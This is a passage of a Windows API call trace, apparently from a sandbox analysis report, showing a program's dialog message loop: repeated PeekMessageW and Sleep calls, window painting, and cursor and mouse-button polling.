wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.677] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.677] Sleep (dwMilliseconds=0x0) [0043.678] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.678] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.678] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.678] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.678] Sleep (dwMilliseconds=0x0) [0043.678] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.678] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.678] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.678] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.679] Sleep (dwMilliseconds=0x0) [0043.679] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.679] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.679] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.679] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.679] Sleep (dwMilliseconds=0x0) [0043.679] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.679] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.679] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.679] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.679] Sleep (dwMilliseconds=0x0) [0043.680] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x20, wParam=0xc0182, lParam=0x2000001) returned 0x0 [0043.680] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.680] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf840) returned 0x0 [0043.680] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.680] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.680] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0xffffffff81010550, lParam=0x0) returned 0x1 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.680] SetBkColor (hdc=0xffffffff81010550, color=0xf0f0f0) returned 0xffffff [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0xffffffff81010550, lParam=0x4) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.680] SetBkColor (hdc=0xffffffff81010550, color=0xf0f0f0) returned 0xf0f0f0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.680] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.680] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0043.680] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x350106e8, lParam=0x0) returned 0x1 [0043.681] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.681] SetBkColor (hdc=0x350106e8, color=0xf0f0f0) returned 0xffffff [0043.681] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x350106e8, lParam=0x4) returned 0x0 [0043.681] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.681] SetBkColor (hdc=0x350106e8, color=0xf0f0f0) returned 0xf0f0f0 [0043.681] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.681] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0043.681] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.681] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.681] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0043.681] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.681] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.681] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.681] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.682] Sleep (dwMilliseconds=0x0) [0043.682] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.682] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.682] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.682] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.682] Sleep (dwMilliseconds=0x0) [0043.682] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.682] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.682] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.682] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.682] Sleep (dwMilliseconds=0x0) [0043.682] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.683] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.683] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.683] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.683] Sleep (dwMilliseconds=0x0) [0043.683] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.683] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.683] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.683] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.683] Sleep (dwMilliseconds=0x0) [0043.683] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.691] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.691] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.691] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.692] Sleep (dwMilliseconds=0x0) [0043.692] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.692] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.692] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.692] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.692] Sleep (dwMilliseconds=0x0) [0043.693] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.693] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.693] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.693] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.693] Sleep (dwMilliseconds=0x0) [0043.693] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.694] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.694] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.694] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.694] Sleep (dwMilliseconds=0x0) [0043.694] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.695] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.695] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.695] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.695] Sleep (dwMilliseconds=0x0) [0043.695] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.695] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.695] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.695] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.695] Sleep (dwMilliseconds=0x0) [0043.696] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.696] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.696] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.696] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.696] Sleep (dwMilliseconds=0x0) [0043.696] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.697] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.697] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.697] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.697] Sleep (dwMilliseconds=0x0) [0043.697] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.698] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.698] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.698] TranslateMessage (lpMsg=0xa96acafba0) returned 0 [0043.698] DispatchMessageW (lpMsg=0xa96acafba0) returned 0x0 [0043.698] GetForegroundWindow () returned 0xa004e [0043.698] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.698] GetCursorPos (in: lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00*(x=574, y=538)) returned 1 [0043.698] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00) returned 1 [0043.698] GetAsyncKeyState (vKey=1) returned 0 [0043.698] GetAsyncKeyState (vKey=2) returned 0 [0043.698] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.698] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.698] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.698] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.706] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.706] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.706] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.706] Sleep (dwMilliseconds=0x0) [0043.706] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.706] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.706] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.706] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.706] Sleep (dwMilliseconds=0x0) [0043.706] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.707] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.707] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.707] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.707] Sleep (dwMilliseconds=0x0) [0043.707] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.707] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.707] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.707] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.707] Sleep (dwMilliseconds=0x0) [0043.708] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.708] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.708] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.708] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.708] Sleep (dwMilliseconds=0x0) [0043.708] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.708] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.708] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.708] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.708] Sleep (dwMilliseconds=0x0) [0043.708] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] Sleep (dwMilliseconds=0x0) [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] Sleep (dwMilliseconds=0x0) [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 